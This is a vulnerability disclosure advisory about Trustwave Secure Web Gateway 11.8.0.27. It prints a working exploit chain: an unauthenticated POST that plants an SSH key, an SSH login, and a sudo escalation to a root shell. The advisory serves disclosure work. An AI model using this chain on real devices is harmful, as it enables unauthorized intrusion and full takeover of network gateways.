### Vulnerability Summary The following advisory describes an unauthorized access vulnerability that allows an unauthenticated user to add their own SSH key to a remote Trustwave SWG version 11.8.0.27. Trustwave Secure Web Gateway (SWG) “provides distributed enterprises effective real-time protection against dynamic new malware, strong policy enforcement, and a unique Zero-Malware Guarantee when managed for you by our experts.” ### Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ### Vendor response Trustwave was informed of the vulnerability, and released the following advisory: https://www.trustwave.com/Resources/Trustwave-Software-Updates/Important-Security-Update-for-Trustwave-Secure-Web-Gateway/ ### Vulnerability details Trustwave SWG allows remote attackers to send to the SWG product a SSH key that will be used by the SWG product as the SSH key to logon to the device. This allows...
### Vulnerability Summary The following advisory describes an unauthorized access vulnerability that allows an unauthenticated user to add their own SSH key to a remote Trustwave SWG version 11.8.0.27. Trustwave Secure Web Gateway (SWG) “provides distributed enterprises effective real-time protection against dynamic new malware, strong policy enforcement, and a unique Zero-Malware Guarantee when managed for you by our experts.” ### Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ### Vendor response Trustwave was informed of the vulnerability, and released the following advisory: https://www.trustwave.com/Resources/Trustwave-Software-Updates/Important-Security-Update-for-Trustwave-Secure-Web-Gateway/ ### Vulnerability details Trustwave SWG allows remote attackers to send to the SWG product a SSH key that will be used by the SWG product as the SSH key to logon to the device. This allows unauthenticated user to send a POST request to /sendKey ``` POST /sendKey HTTP/1.1 Host: trustwave.device:5222 Content-Length: 558 content-type: multipart/form-data user-agent: libwww-perl/6.15 Connection: close --xYzZY Content-Disposition: form-data; name="publicKey"; filename="public_key_to_send" Content-Type: text/plain ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFxLGHCIST4jLDreJoQZnIZX6Fcx/ZyM1dzR2ZSwPG7UC3GYs61/cRGFvL9yuPZwIn8f/p9MCMoKHIG1gNZu0i7pqqZgB5vL+Dbf1vXl4PLY0wwcNMyVUBJaTSHdHSqe1KGBcM/1/gMsGpgcOJw2XMNubmXZxRSFSQLca1BsDmEyPF1KVpGfk60GtEH+c5E6ScEaTP7h0NcM6zEl9gubO2R+cq9FsPcMwF4bdsxyEZYGtVdS8B4goewEt1Nj+1hAzBWGox+hySee0QshZFAvZUrfcn4TsOd1iT95jAFoIDReQn781hmT6YQBpnl7HbDp6otyXAxrsvMOg1fvriAzHv rsyncuser aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa --xYzZY-- ``` Which will add the supplied ssh key to Trustwave SWG, which we can use it to login to the device: ``` /usr/bin/ssh -q -o PasswordAuthentication=no -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o ServerAliveInterval=10 -i ./test.key commander@trustwave.device Last login: Fri Aug 25 9:01:23 2017 from x.x.x.x SWG Version : 11.8.0.27 SWG Maintenance Release : 0 Role : vs Machine Type : NG-6000 ``` If we will run the id command via ssh we will get the following response: ``` -sh-4.1$ id uid=1000(rsyncuser) gid=48(apache) groups=48(apache) ``` Once we connected to Trustwave SWG via SSH we can run commands as root by accessing /opt/finjan/msh/run_inside.py ``` # sudo /opt/finjan/msh/run_inside.py bash bash-4.1# id uid=0(root) gid=0(root) groups=0(root) ```
